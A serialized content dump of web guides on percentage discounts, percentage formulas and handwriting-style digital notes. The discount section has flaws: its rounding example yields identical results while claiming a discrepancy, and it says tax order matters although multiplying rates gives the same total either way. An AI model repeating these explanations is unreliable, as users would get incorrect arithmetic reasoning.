d₃)...\n",[143,166614,166612],{"__ignoreMap":141},[16,166616,166617],{},"For 25% + 10%:",[135,166619,166622],{"className":166620,"code":166621,"language":140},[138],"Combined = 1 - (0.75 × 0.90) = 1 - 0.675 = 0.325 = 32.5%\n",[143,166623,166621],{"__ignoreMap":141},[16,166625,166626],{},"Not 35%. The gap widens as percentages increase.",[193,166628,166629,166644],{},[196,166630,166631],{},[199,166632,166633,166636,166639,166642],{},[202,166634,166635],{},"Discounts",[202,166637,166638],{},"Sum of %",[202,166640,166641],{},"Actual Combined %",[202,166643,88434],{},[211,166645,166646,166658,166672,166684],{},[199,166647,166648,166651,166653,166656],{},[216,166649,166650],{},"10% + 10%",[216,166652,5301],{},[216,166654,166655],{},"19%",[216,166657,165956],{},[199,166659,166660,166663,166666,166669],{},[216,166661,166662],{},"25% + 10%",[216,166664,166665],{},"35%",[216,166667,166668],{},"32.5%",[216,166670,166671],{},"2.5%",[199,166673,166674,166677,166679,166682],{},[216,166675,166676],{},"50% + 50%",[216,166678,19970],{},[216,166680,166681],{},"75%",[216,166683,21008],{},[199,166685,166686,166689,166691,166693],{},[216,166687,166688],{},"50% + 30% + 20%",[216,166690,19970],{},[216,166692,125874],{},[216,166694,16241],{},[16,166696,166697],{},"That last row demonstrates why \"100% off\" via three stacked discounts is mathematically impossible — you always retain at least a fraction of the original price.",[11,166699,166701],{"id":166700},"common-retail-math-mistakes","Common Retail Math Mistakes",[16,166703,166704,166707],{},[47,166705,166706],{},"Mistake 1: Adding discounts instead of multiplying."," As shown above, this overestimates the discount. In regulated environments, advertising \"35% off\" when the actual combined discount is 32.5% can be a legal compliance issue.",[16,166709,166710,166713],{},[47,166711,166712],{},"Mistake 2: Rounding before multiplying."," Rounding intermediate values in sequential discounts produces different final prices than rounding only at the end.",[135,166715,166717],{"className":1607,"code":166716,"language":1609,"meta":141,"style":141},"\u002F\u002F Wrong: rounds after each step\nconst step1 = Math.round(100 * 0.75)  \u002F\u002F 75\nconst salePrice = Math.round(step1 * 0.90)  \u002F\u002F 68 (wrong!)\n\n\u002F\u002F Right: rounds only at the end\nconst salePrice = Math.round(100 * 0.75 * 0.90)  \u002F\u002F 68\n\u002F\u002F Actually same here, but with odd numbers:\nconst step1 = Math.round(99 * 0.75)  \u002F\u002F 74\nconst wrong = Math.round(step1 * 0.90)  \u002F\u002F 67\n\nconst right = Math.round(99 * 0.75 * 0.90)  \u002F\u002F 67\n",[143,166718,166719,166724,166750,166776,166780,166785,166814,166819,166844,166868,166872],{"__ignoreMap":141},[1560,166720,166721],{"class":1562,"line":1563},[1560,166722,166723],{"class":1649},"\u002F\u002F Wrong: rounds after each step\n",[1560,166725,166726,166728,166731,166733,166735,166737,166739,166741,166743,166745,166747],{"class":1562,"line":337},[1560,166727,8180],{"class":1669},[1560,166729,166730],{"class":1576}," step1",[1560,166732,8186],{"class":1669},[1560,166734,9393],{"class":1570},[1560,166736,87981],{"class":1566},[1560,166738,1688],{"class":1570},[1560,166740,18114],{"class":1576},[1560,166742,8064],{"class":1669},[1560,166744,33112],{"class":1576},[1560,166746,10060],{"class":1570},[1560,166748,166749],{"class":1649},"\u002F\u002F 75\n",[1560,166751,166752,166754,166757,166759,166761,166763,166766,166768,166771,166773],{"class":1562,"line":343},[1560,166753,8180],{"class":1669},[1560,166755,166756],{"class":1576}," salePrice",[1560,166758,8186],{"class":1669},[1560,166760,9393],{"class":1570},[1560,166762,87981],{"class":1566},[1560,166764,166765],{"class":1570},"(step1 ",[1560,166767,8069],{"class":1669},[1560,166769,166770],{"class":1576}," 0.90",[1560,166772,10060],{"class":1570},[1560,166774,166775],{"class":1649},"\u002F\u002F 68 (wrong!)\n",[1560,166777,166778],{"class":1562,"line":365},[1560,166779,1702],{"emptyLinePlaceholder":363},[1560,166781,166782],{"class":1562,"line":889},[1560,166783,166784],{"class":1649},"\u002F\u002F Right: rounds only at the end\n",[1560,166786,166787,166789,166791,166793,166795,166797,166799,166801,166803,166805,166807,166809,166811],{"class":1562,"line":1710},[1560,166788,8180],{"class":1669},[1560,166790,166756],{"class":1576},[1560,166792,8186],{"class":1669},[1560,166794,9393],{"class":1570},[1560,166796,87981],{"class":1566},[1560,166798,1688],{"class":1570},[1560,166800,18114],{"class":1576},[1560,166802,8064],{"class":1669},[1560,166804,33112],{"class":1576},[1560,166806,8064],{"class":1669},[1560,166808,166770],{"class":1576},[1560,166810,10060],{"class":1570},[1560,166812,166813],{"class":1649},"\u002F\u002F 68\n",[1560,166815,166816],{"class":1562,"line":1717},[1560,166817,166818],{"class":1649},"\u002F\u002F Actually same here, but with odd numbers:\n",[1560,166820,166821,166823,166825,166827,166829,166831,166833,166835,166837,166839,166841],{"class":1562,"line":1747},[1560,166822,8180],{"class":1669},[1560,166824,166730],{"class":1576},[1560,166826,8186],{"class":1669},[1560,166828,9393],{"class":1570},[1560,166830,87981],{"class":1566},[1560,166832,1688],{"class":1570},[1560,166834,5334],{"class":1576},[1560,166836,8064],{"class":1669},[1560,166838,33112],{"class":1576},[1560,166840,10060],{"class":1570},[1560,166842,166843],{"class":1649},"\u002F\u002F 74\n",[1560,166845,166846,166848,166851,166853,166855,166857,166859,166861,166863,166865],{"class":1562,"line":2507},[1560,166847,8180],{"class":1669},[1560,166849,166850],{"class":1576}," wrong",[1560,166852,8186],{"class":1669},[1560,166854,9393],{"class":1570},[1560,166856,87981],{"class":1566},[1560,166858,166765],{"class":1570},[1560,166860,8069],{"class":1669},[1560,166862,166770],{"class":1576},[1560,166864,10060],{"class":1570},[1560,166866,166867],{"class":1649},"\u002F\u002F 67\n",[1560,166869,166870],{"class":1562,"line":2524},[1560,166871,1702],{"emptyLinePlaceholder":363},[1560,166873,166874,166876,166878,166880,166882,166884,166886,166888,166890,166892,166894,166896,166898],{"class":1562,"line":2529},[1560,166875,8180],{"class":1669},[1560,166877,159981],{"class":1576},[1560,166879,8186],{"class":1669},[1560,166881,9393],{"class":1570},[1560,166883,87981],{"class":1566},[1560,166885,1688],{"class":1570},[1560,166887,5334],{"class":1576},[1560,166889,8064],{"class":1669},[1560,166891,33112],{"class":1576},[1560,166893,8064],{"class":1669},[1560,166895,166770],{"class":1576},[1560,166897,10060],{"class":1570},[1560,166899,166867],{"class":1649},[16,166901,166902],{},"The discrepancy grows with more decimal places and more discount layers. Always round only the final result.",[16,166904,166905,166908],{},[47,166906,166907],{},"Mistake 3: Confusing markup with margin."," A 50% markup on a $100 cost yields $150. A 50% margin on a $150 sale price means the cost was $75. These are different calculations:",[135,166910,166912],{"className":1607,"code":166911,"language":1609,"meta":141,"style":141},"\u002F\u002F Markup: add to cost\nconst markupPrice = 100 * (1 + 0.50)  \u002F\u002F 150\n\n\u002F\u002F Margin: solve for price given margin requirement\nconst marginPrice = 100 \u002F (1 - 0.50)  \u002F\u002F 200\n",[143,166913,166914,166919,166945,166949,166954],{"__ignoreMap":141},[1560,166915,166916],{"class":1562,"line":1563},[1560,166917,166918],{"class":1649},"\u002F\u002F Markup: add to cost\n",[1560,166920,166921,166923,166926,166928,166930,166932,166934,166936,166938,166940,166942],{"class":1562,"line":337},[1560,166922,8180],{"class":1669},[1560,166924,166925],{"class":1576}," markupPrice",[1560,166927,8186],{"class":1669},[1560,166929,35878],{"class":1576},[1560,166931,8064],{"class":1669},[1560,166933,5181],{"class":1570},[1560,166935,3585],{"class":1576},[1560,166937,29002],{"class":1669},[1560,166939,165434],{"class":1576},[1560,166941,10060],{"class":1570},[1560,166943,166944],{"class":1649},"\u002F\u002F 150\n",[1560,166946,166947],{"class":1562,"line":343},[1560,166948,1702],{"emptyLinePlaceholder":363},[1560,166950,166951],{"class":1562,"line":365},[1560,166952,166953],{"class":1649},"\u002F\u002F Margin: solve for price given margin requirement\n",[1560,166955,166956,166958,166961,166963,166965,166967,166969,166971,166973,166975,166977],{"class":1562,"line":889},[1560,166957,8180],{"class":1669},[1560,166959,166960],{"class":1576}," marginPrice",[1560,166962,8186],{"class":1669},[1560,166964,35878],{"class":1576},[1560,166966,11912],{"class":1669},[1560,166968,5181],{"class":1570},[1560,166970,3585],{"class":1576},[1560,166972,22908],{"class":1669},[1560,166974,165434],{"class":1576},[1560,166976,10060],{"class":1570},[1560,166978,166979],{"class":1649},"\u002F\u002F 200\n",[16,166981,166982,166985],{},[47,166983,166984],{},"Mistake 4: Percentage off vs percentage of."," \"30% off the original price\" is different from \"pay 30% of the original price.\" The first gives you a 30% discount; the second gives you a 70% discount. Ambiguous copy leads to customer complaints and refund requests.",[11,166987,166989],{"id":166988},"tax-after-discount","Tax After Discount",[16,166991,166992],{},"In most jurisdictions, sales tax applies to the discounted price, not the original. The calculation sequence is:",[135,166994,166996],{"className":1607,"code":166995,"language":1609,"meta":141,"style":141},"function finalPrice(originalPrice, discountPercent, taxRate) {\n  const discounted = originalPrice * (1 - discountPercent \u002F 100)\n  const withTax = discounted * (1 + taxRate \u002F 100)\n  return Math.round(withTax * 100) \u002F 100  \u002F\u002F round to cents\n}\n\nfinalPrice(80, 25, 8.25)  \u002F\u002F 64.95\n\u002F\u002F 80 × 0.75 = 60 → 60 × 1.0825 = 64.95\n",[143,166997,166998,167021,167049,167078,167102,167106,167110,167133],{"__ignoreMap":141},[1560,166999,167000,167002,167005,167007,167010,167012,167014,167016,167019],{"class":1562,"line":1563},[1560,167001,8648],{"class":1669},[1560,167003,167004],{"class":1566}," finalPrice",[1560,167006,1688],{"class":1570},[1560,167008,167009],{"class":2219},"originalPrice",[1560,167011,1459],{"class":1570},[1560,167013,166416],{"class":2219},[1560,167015,1459],{"class":1570},[1560,167017,167018],{"class":2219},"taxRate",[1560,167020,9345],{"class":1570},[1560,167022,167023,167025,167028,167030,167033,167035,167037,167039,167041,167043,167045,167047],{"class":1562,"line":337},[1560,167024,28057],{"class":1669},[1560,167026,167027],{"class":1576}," discounted",[1560,167029,8186],{"class":1669},[1560,167031,167032],{"class":1570}," originalPrice ",[1560,167034,8069],{"class":1669},[1560,167036,5181],{"class":1570},[1560,167038,3585],{"class":1576},[1560,167040,22908],{"class":1669},[1560,167042,166435],{"class":1570},[1560,167044,9423],{"class":1669},[1560,167046,35878],{"class":1576},[1560,167048,8252],{"class":1570},[1560,167050,167051,167053,167056,167058,167061,167063,167065,167067,167069,167072,167074,167076],{"class":1562,"line":343},[1560,167052,28057],{"class":1669},[1560,167054,167055],{"class":1576}," withTax",[1560,167057,8186],{"class":1669},[1560,167059,167060],{"class":1570}," discounted ",[1560,167062,8069],{"class":1669},[1560,167064,5181],{"class":1570},[1560,167066,3585],{"class":1576},[1560,167068,29002],{"class":1669},[1560,167070,167071],{"class":1570}," taxRate ",[1560,167073,9423],{"class":1669},[1560,167075,35878],{"class":1576},[1560,167077,8252],{"class":1570},[1560,167079,167080,167082,167084,167086,167089,167091,167093,167095,167097,167099],{"class":1562,"line":365},[1560,167081,9350],{"class":1669},[1560,167083,9393],{"class":1570},[1560,167085,87981],{"class":1566},[1560,167087,167088],{"class":1570},"(withTax ",[1560,167090,8069],{"class":1669},[1560,167092,35878],{"class":1576},[1560,167094,1733],{"class":1570},[1560,167096,9423],{"class":1669},[1560,167098,35878],{"class":1576},[1560,167100,167101],{"class":1649},"  \u002F\u002F round to cents\n",[1560,167103,167104],{"class":1562,"line":889},[1560,167105,1585],{"class":1570},[1560,167107,167108],{"class":1562,"line":1710},[1560,167109,1702],{"emptyLinePlaceholder":363},[1560,167111,167112,167115,167117,167119,167121,167123,167125,167128,167130],{"class":1562,"line":1717},[1560,167113,167114],{"class":1566},"finalPrice",[1560,167116,1688],{"class":1570},[1560,167118,5321],{"class":1576},[1560,167120,1459],{"class":1570},[1560,167122,22036],{"class":1576},[1560,167124,1459],{"class":1570},[1560,167126,167127],{"class":1576},"8.25",[1560,167129,10060],{"class":1570},[1560,167131,167132],{"class":1649},"\u002F\u002F 64.95\n",[1560,167134,167135],{"class":1562,"line":1747},[1560,167136,167137],{"class":1649},"\u002F\u002F 80 × 0.75 = 60 → 60 × 1.0825 = 64.95\n",[16,167139,167140],{},"Always apply tax after discounts, not before. Taxing the pre-discount amount and then applying the discount violates tax regulations in most states.",[16,167142,167143,167144,167146],{},"Quickly verify any discount calculation using the percentage calculator at ",[98,167145,21907],{"href":21907},", which handles percentage off, percentage change, and compound discount scenarios with step-by-step breakdowns.",[2043,167148,166332],{},{"title":141,"searchDepth":337,"depth":337,"links":167150},[167151,167152,167153,167154],{"id":166365,"depth":337,"text":166366},{"id":166476,"depth":337,"text":166477},{"id":166700,"depth":337,"text":166701},{"id":166988,"depth":337,"text":166989},"Multiply vs subtract method for discounts, compound discounts, and common retail math mistakes.",{},"\u002Fguides\u002Fpercentage-discount-calculation",{"title":166357,"description":167155},"guides\u002Fpercentage-discount-calculation","fh1yMyQT3VRvuOSZfsu4iSnnrg2e4qHeF9CngUNpL1k",{"id":167162,"title":167163,"body":167164,"date":2070,"description":167592,"extension":361,"meta":167593,"navigation":363,"path":151202,"readingTime":889,"seo":167594,"stem":167595,"__hash__":167596},"guides\u002Fguides\u002Fpercentage-formulas-explained.md","Percentage Formulas Explained - The Math Behind %",{"type":8,"value":167165,"toc":167576},[167166,167170,167177,167180,167184,167187,167191,167197,167200,167203,167209,167220,167226,167229,167233,167239,167242,167245,167250,167261,167266,167269,167273,167279,167282,167285,167290,167303,167309,167323,167327,167330,167333,167341,167348,167352,167355,167423,167426,167430,167433,167438,167444,167449,167452,167457,167463,167468,167471,167474,167478,167481,167494,167497,167501,167504,167534,167536,167553,167555,167562,167564],[11,167167,167169],{"id":167168},"what-does-percent-actually-mean","What Does \"Percent\" Actually Mean?",[16,167171,167172,167173,167176],{},"The word \"percent\" comes from the Latin ",[7310,167174,167175],{},"per centum",", meaning \"by the hundred.\" When you say 25%, you are saying 25 out of 100 — or equivalently, one quarter.",[16,167178,167179],{},"Understanding that a percentage is just a fraction with a denominator of 100 makes every percentage formula intuitive. The percent symbol (%) is shorthand for \"\u002F100\".",[11,167181,167183],{"id":167182},"the-three-core-formulas","The Three Core Formulas",[16,167185,167186],{},"Every percentage problem boils down to one of three formulas. Master these, and you can solve any percentage question.",[33,167188,167190],{"id":167189},"formula-1-x-of-y","Formula 1: X% of Y",[135,167192,167195],{"className":167193,"code":167194,"language":140},[138],"Result = Y × (X \u002F 100)\n",[143,167196,167194],{"__ignoreMap":141},[16,167198,167199],{},"This formula answers: \"What is X percent of Y?\"",[16,167201,167202],{},"You use it when you know the percentage and the whole, and need the part.",[16,167204,167205,167208],{},[47,167206,167207],{},"Step-by-step example:"," What is 35% of 240?",[77,167210,167211,167214,167217],{},[44,167212,167213],{},"Convert 35% to a decimal: 35 \u002F 100 = 0.35",[44,167215,167216],{},"Multiply by the base: 240 × 0.35 = 84",[44,167218,167219],{},"Answer: 84",[16,167221,167222,167225],{},[47,167223,167224],{},"Another example:"," A city with 850,000 residents has 12% unemployed. How many people are unemployed?",[16,167227,167228],{},"850,000 × 0.12 = 102,000 residents.",[33,167230,167232],{"id":167231},"formula-2-x-is-what-percent-of-y","Formula 2: X Is What Percent of Y",[135,167234,167237],{"className":167235,"code":167236,"language":140},[138],"Percentage = (X \u002F Y) × 100\n",[143,167238,167236],{"__ignoreMap":141},[16,167240,167241],{},"This formula answers: \"What percentage is X of Y?\"",[16,167243,167244],{},"You use it when you know the part and the whole, and need the percentage.",[16,167246,167247,167249],{},[47,167248,167207],{}," 72 is what percent of 180?",[77,167251,167252,167255,167258],{},[44,167253,167254],{},"Divide the part by the whole: 72 \u002F 180 = 0.4",[44,167256,167257],{},"Convert to percentage: 0.4 × 100 = 40",[44,167259,167260],{},"Answer: 40%",[16,167262,167263,167265],{},[47,167264,167224],{}," Your company earned $340,000 of its $500,000 revenue target. What percentage of the target did you reach?",[16,167267,167268],{},"(340,000 \u002F 500,000) × 100 = 68%",[33,167270,167272],{"id":167271},"formula-3-percentage-change","Formula 3: Percentage Change",[135,167274,167277],{"className":167275,"code":167276,"language":140},[138],"Percentage Change = ((New - Old) \u002F Old) × 100\n",[143,167278,167276],{"__ignoreMap":141},[16,167280,167281],{},"This formula answers: \"By what percentage has a value changed?\"",[16,167283,167284],{},"Positive results indicate growth. Negative results indicate decline.",[16,167286,167287,167289],{},[47,167288,167207],{}," A stock price rose from $45 to $63. What is the percentage increase?",[77,167291,167292,167295,167298,167300],{},[44,167293,167294],{},"Find the difference: 63 - 45 = 18",[44,167296,167297],{},"Divide by the original: 18 \u002F 45 = 0.4",[44,167299,167257],{},[44,167301,167302],{},"Answer: 40% increase",[16,167304,167305,167308],{},[47,167306,167307],{},"Decrease example:"," A product's cost dropped from $80 to $60.",[77,167310,167311,167314,167317,167320],{},[44,167312,167313],{},"Difference: 60 - 80 = -20",[44,167315,167316],{},"Divide by original: -20 \u002F 80 = -0.25",[44,167318,167319],{},"Convert: -0.25 × 100 = -25",[44,167321,167322],{},"Answer: 25% decrease",[11,167324,167326],{"id":167325},"why-percentage-change-is-not-symmetric","Why Percentage Change Is Not Symmetric",[16,167328,167329],{},"This is one of the most misunderstood aspects of percentages.",[16,167331,167332],{},"If a value increases by 50%, then decreases by 50%, it does not return to where it started. Here is why:",[41,167334,167335,167338],{},[44,167336,167337],{},"Start at 100. Increase 50% → 150.",[44,167339,167340],{},"Decrease 50% of 150 → 150 - 75 = 75.",[16,167342,167343,167344,167347],{},"The percentage change formula always divides by the ",[47,167345,167346],{},"original"," value for that calculation. Since the base changes after the increase, the same percentage produces a different absolute amount.",[11,167349,167351],{"id":167350},"percentage-shortcuts-worth-memorizing","Percentage Shortcuts Worth Memorizing",[16,167353,167354],{},"These shortcuts let you estimate quickly without a calculator:",[193,167356,167357,167365],{},[196,167358,167359],{},[199,167360,167361,167363],{},[202,167362,97155],{},[202,167364,2115],{},[211,167366,167367,167375,167383,167391,167399,167407,167415],{},[199,167368,167369,167372],{},[216,167370,167371],{},"10% of X",[216,167373,167374],{},"Move the decimal one place left (10% of 450 = 45)",[199,167376,167377,167380],{},[216,167378,167379],{},"1% of X",[216,167381,167382],{},"Move the decimal two places left (1% of 450 = 4.5)",[199,167384,167385,167388],{},[216,167386,167387],{},"25% of X",[216,167389,167390],{},"Divide by 4 (25% of 120 = 30)",[199,167392,167393,167396],{},[216,167394,167395],{},"50% of X",[216,167397,167398],{},"Divide by 2 (50% of 120 = 60)",[199,167400,167401,167404],{},[216,167402,167403],{},"5% of X",[216,167405,167406],{},"10% divided by 2 (5% of 200 = 10)",[199,167408,167409,167412],{},[216,167410,167411],{},"15% of X",[216,167413,167414],{},"10% + 5% (15% of 200 = 20 + 10 = 30)",[199,167416,167417,167420],{},[216,167418,167419],{},"20% of X",[216,167421,167422],{},"Divide by 5 (20% of 75 = 15)",[16,167424,167425],{},"To find any percentage mentally, combine these building blocks. For 18% of $50: 10% is $5, 1% is $0.50, so 18% = $5 + $4 = $9.",[11,167427,167429],{"id":167428},"reverse-percentage-problems","Reverse Percentage Problems",[16,167431,167432],{},"Sometimes you know the result after a percentage was applied, and you need to find the original value.",[16,167434,167435],{},[47,167436,167437],{},"Formula for reverse percentage after an increase:",[135,167439,167442],{"className":167440,"code":167441,"language":140},[138],"Original = New \u002F (1 + percentage\u002F100)\n",[143,167443,167441],{"__ignoreMap":141},[16,167445,167446,167448],{},[47,167447,28745],{}," A price after 20% tax is $120. What was the price before tax?",[16,167450,167451],{},"120 \u002F (1 + 0.20) = 120 \u002F 1.20 = $100",[16,167453,167454],{},[47,167455,167456],{},"Formula for reverse percentage after a decrease:",[135,167458,167461],{"className":167459,"code":167460,"language":140},[138],"Original = New \u002F (1 - percentage\u002F100)\n",[143,167462,167460],{"__ignoreMap":141},[16,167464,167465,167467],{},[47,167466,28745],{}," An item on sale at 30% off costs $56. What was the original price?",[16,167469,167470],{},"56 \u002F (1 - 0.30) = 56 \u002F 0.70 = $80",[16,167472,167473],{},"A common mistake is to simply add or subtract the percentage from the known value. $56 + 30% of $56 = $72.80, which is wrong. The 30% applies to the original price, not the sale price.",[11,167475,167477],{"id":167476},"percentage-vs-percentage-points","Percentage vs. Percentage Points",[16,167479,167480],{},"These terms measure different things. If a bank's mortgage rate goes from 3% to 5%:",[41,167482,167483,167488],{},[44,167484,167485,167486],{},"The increase is ",[47,167487,165897],{},[44,167489,167485,167490,167493],{},[47,167491,167492],{},"66.7%"," (because (5-3)\u002F3 × 100 = 66.7%)",[16,167495,167496],{},"Confusing the two can mislead. \"Interest rates rose 2%\" sounds minor. \"Interest rates rose 2 percentage points\" is precise and accurate.",[11,167498,167500],{"id":167499},"practical-practice-problems","Practical Practice Problems",[16,167502,167503],{},"Try solving these before checking the answers:",[77,167505,167506,167512,167517,167522,167528],{},[44,167507,167508,167509],{},"What is 22% of $3,500? → ",[47,167510,167511],{},"$770",[44,167513,167514,167515],{},"94 is what percent of 470? → ",[47,167516,5301],{},[44,167518,167519,167520],{},"A value changed from 200 to 260. What is the percentage increase? → ",[47,167521,2173],{},[44,167523,167524,167525],{},"After a 15% discount, a laptop costs $680. What was the original price? → ",[47,167526,167527],{},"$800",[44,167529,167530,167531],{},"A population grew from 12,000 to 13,800. Express the change as a percentage. → ",[47,167532,167533],{},"15% increase",[11,167535,1355],{"id":1354},[41,167537,167538,167541,167544,167547,167550],{},[44,167539,167540],{},"Every percentage calculation uses one of three formulas: percentage of a number, percentage relationship, or percentage change",[44,167542,167543],{},"Always convert the percentage to a decimal first by dividing by 100",[44,167545,167546],{},"Percentage change divides by the original value — this makes increases and decreases asymmetric",[44,167548,167549],{},"Reverse percentage problems require division, not addition\u002Fsubtraction of the percentage",[44,167551,167552],{},"Percentage points and percentage changes are different units — use the right one",[11,167554,286],{"id":285},[16,167556,167557,167558,167561],{},"Want to skip the manual math? The ",[98,167559,21908],{"href":150835,"rel":167560},[14956]," handles all three formulas instantly — just enter your numbers and get the answer.",[11,167563,321],{"id":320},[41,167565,167566,167571],{},[44,167567,167568,167570],{},[98,167569,151196],{"href":151195}," — how to use each mode of the calculator",[44,167572,167573,167575],{},[98,167574,165172],{"href":151235}," — explore more essential calculation tools",{"title":141,"searchDepth":337,"depth":337,"links":167577},[167578,167579,167584,167585,167586,167587,167588,167589,167590,167591],{"id":167168,"depth":337,"text":167169},{"id":167182,"depth":337,"text":167183,"children":167580},[167581,167582,167583],{"id":167189,"depth":343,"text":167190},{"id":167231,"depth":343,"text":167232},{"id":167271,"depth":343,"text":167272},{"id":167325,"depth":337,"text":167326},{"id":167350,"depth":337,"text":167351},{"id":167428,"depth":337,"text":167429},{"id":167476,"depth":337,"text":167477},{"id":167499,"depth":337,"text":167500},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to percentage formulas. Learn what X% of Y means, how to calculate percentage change, and the math behind percentages.",{"immutable":363},{"title":167163,"description":167592},"guides\u002Fpercentage-formulas-explained","UOQl0v5tR5jh1UxnLQj3_uqVUFmyNHfPbcVG_a4JI4E",{"id":167598,"title":167599,"body":167600,"date":2070,"description":167996,"extension":361,"meta":167997,"navigation":363,"path":168000,"readingTime":1717,"seo":168001,"stem":168002,"__hash__":168003},"guides\u002Fguides\u002Fpersonalized-notes-digitally.md","Creating Personalized Notes Digitally: Handwriting Style Without Pen and Paper",{"type":8,"value":167601,"toc":167971},[167602,167606,167609,167612,167616,167677,167680,167684,167688,167694,167700,167704,167707,167711,167714,167718,167722,167725,167729,167732,167736,167739,167743,167746,167750,167754,167757,167761,167764,167768,167774,167833,167836,167840,167847,167903,167907,167926,167928,167945,167947,167953,167955,167968],[11,167603,167605],{"id":167604},"the-appeal-of-handwritten-notes","The Appeal of Handwritten Notes",[16,167607,167608],{},"Handwritten notes feel personal in a way that typed text cannot replicate. A birthday card in script font, a thank-you note with slight irregularity, or a study guide that looks like a classmate wrote it — these carry emotional weight that Times New Roman lacks.",[16,167610,167611],{},"But physical handwriting has downsides: mistakes are hard to fix, consistency is difficult, and sharing digital copies requires scanning. Creating handwriting-style notes digitally gives you the warmth of penmanship with the convenience of editability.",[11,167613,167615],{"id":167614},"when-digital-handwriting-makes-sense","When Digital Handwriting Makes Sense",[193,167617,167618,167627],{},[196,167619,167620],{},[199,167621,167622,167624],{},[202,167623,1775],{},[202,167625,167626],{},"Why Digital Works",[211,167628,167629,167637,167645,167653,167661,167669],{},[199,167630,167631,167634],{},[216,167632,167633],{},"Greeting cards",[216,167635,167636],{},"Edit text freely, print multiples",[199,167638,167639,167642],{},[216,167640,167641],{},"Study notes",[216,167643,167644],{},"Organize and reorganize without rewriting",[199,167646,167647,167650],{},[216,167648,167649],{},"Social media graphics",[216,167651,167652],{},"Handwriting aesthetic at scale",[199,167654,167655,167658],{},[216,167656,167657],{},"Thank-you messages",[216,167659,167660],{},"Personalize quickly for many recipients",[199,167662,167663,167666],{},[216,167664,167665],{},"Presentation slides",[216,167667,167668],{},"Warm, casual tone for informal decks",[199,167670,167671,167674],{},[216,167672,167673],{},"Blog overlays",[216,167675,167676],{},"Handwritten annotations on images",[16,167678,167679],{},"Digital handwriting is not about faking penmanship — it is about choosing a communication style that feels closer and more intentional than default system fonts.",[11,167681,167683],{"id":167682},"choosing-the-right-handwriting-font","Choosing the Right Handwriting Font",[33,167685,167687],{"id":167686},"formal-vs-casual","Formal vs. Casual",[16,167689,167690,167693],{},[47,167691,167692],{},"Formal script fonts"," (like Sacramento or Great Vibes) have consistent strokes, flourished capitals, and elegant connections. They work for wedding invitations, awards, and upscale branding.",[16,167695,167696,167699],{},[47,167697,167698],{},"Casual script fonts"," (like Patrick Hand or Indie Flower) have irregular baselines, varied stroke widths, and a relaxed feel. They work for personal notes, classroom materials, and social content.",[33,167701,167703],{"id":167702},"readability-check","Readability Check",[16,167705,167706],{},"Handwriting fonts sacrifice some legibility for style. Before committing to a font, test it at your target size with your actual text content. Some script fonts become unreadable below 18pt or with long words.",[33,167708,167710],{"id":167709},"character-set-coverage","Character Set Coverage",[16,167712,167713],{},"Not all handwriting fonts include special characters, accented letters, or numerals. If your notes include dates, prices, or non-English text, verify the font supports all required characters.",[11,167715,167717],{"id":167716},"layout-strategies-for-handwriting-style-notes","Layout Strategies for Handwriting-Style Notes",[33,167719,167721],{"id":167720},"paper-background-effect","Paper Background Effect",[16,167723,167724],{},"Place your handwriting-style text over a lined or grid paper background image. This immediately signals \"written note\" and provides visual structure. Subtle grunge textures add realism.",[33,167726,167728],{"id":167727},"margins-and-alignment","Margins and Alignment",[16,167730,167731],{},"Real handwriting is not perfectly centered. Left-align body text. Use slight randomness in positioning where possible — most design tools allow nudge adjustments that break perfect symmetry.",[33,167733,167735],{"id":167734},"mixed-type-sizes","Mixed Type Sizes",[16,167737,167738],{},"Vary font sizes to mimic natural emphasis. A larger first word, a smaller postscript, or an underlined phrase all echo how people actually write.",[33,167740,167742],{"id":167741},"annotations-and-arrows","Annotations and Arrows",[16,167744,167745],{},"Add small arrows, circles, or underlines in the same handwriting style. These marginalia make the note feel authentic and help direct attention.",[11,167747,167749],{"id":167748},"tools-for-digital-handwriting","Tools for Digital Handwriting",[33,167751,167753],{"id":167752},"text-to-handwriting-converters","Text-to-Handwriting Converters",[16,167755,167756],{},"Online tools convert typed text into handwriting-style images. You paste your text, choose a font and paper style, and download the result. This is the fastest path from idea to output — no design skills needed.",[33,167758,167760],{"id":167759},"design-software","Design Software",[16,167762,167763],{},"Canva, Figma, and Photoshop give you full control over layout, background, and typography. Use handwriting fonts from Google Fonts or purchase premium script fonts for unique looks.",[33,167765,167767],{"id":167766},"stylistic-alternates-in-css","Stylistic Alternates in CSS",[16,167769,167770,167771,167773],{},"For web content, CSS ",[143,167772,54240],{}," with OpenType features can activate alternate glyphs in supporting fonts:",[135,167775,167777],{"className":1554,"code":167776,"language":1556,"meta":141,"style":141},".handwriting {\n  font-family: 'Caveat', cursive;\n  font-variant-ligatures: contextual;\n  font-feature-settings: 'salt' 1, 'ss01' 1;\n}\n",[143,167778,167779,167786,167796,167808,167829],{"__ignoreMap":141},[1560,167780,167781,167784],{"class":1562,"line":1563},[1560,167782,167783],{"class":1566},".handwriting",[1560,167785,1571],{"class":1570},[1560,167787,167788,167790,167792,167794],{"class":1562,"line":337},[1560,167789,96719],{"class":1576},[1560,167791,1663],{"class":1570},[1560,167793,111876],{"class":5634},[1560,167795,111879],{"class":1570},[1560,167797,167798,167801,167803,167806],{"class":1562,"line":343},[1560,167799,167800],{"class":1576},"  font-variant-ligatures",[1560,167802,1663],{"class":1570},[1560,167804,167805],{"class":1576},"contextual",[1560,167807,2228],{"class":1570},[1560,167809,167810,167813,167815,167818,167820,167822,167825,167827],{"class":1562,"line":365},[1560,167811,167812],{"class":1576},"  font-feature-settings",[1560,167814,1663],{"class":1570},[1560,167816,167817],{"class":5634},"'salt'",[1560,167819,18868],{"class":1576},[1560,167821,1459],{"class":1570},[1560,167823,167824],{"class":5634},"'ss01'",[1560,167826,18868],{"class":1576},[1560,167828,2228],{"class":1570},[1560,167830,167831],{"class":1562,"line":889},[1560,167832,1585],{"class":1570},[16,167834,167835],{},"Alternate glyphs add subtle variation so repeated characters do not look photocopies of each other.",[11,167837,167839],{"id":167838},"making-it-feel-real","Making It Feel Real",[16,167841,167842,167843,167846],{},"The uncanny valley of digital handwriting happens when text looks ",[7310,167844,167845],{},"almost"," handwritten but something is off. Here is what breaks the illusion and how to fix it:",[193,167848,167849,167857],{},[196,167850,167851],{},[199,167852,167853,167855],{},[202,167854,27730],{},[202,167856,3690],{},[211,167858,167859,167867,167875,167887,167895],{},[199,167860,167861,167864],{},[216,167862,167863],{},"Perfectly even spacing",[216,167865,167866],{},"Adjust letter-spacing slightly, vary word gaps",[199,167868,167869,167872],{},[216,167870,167871],{},"Identical repeated letters",[216,167873,167874],{},"Use fonts with contextual 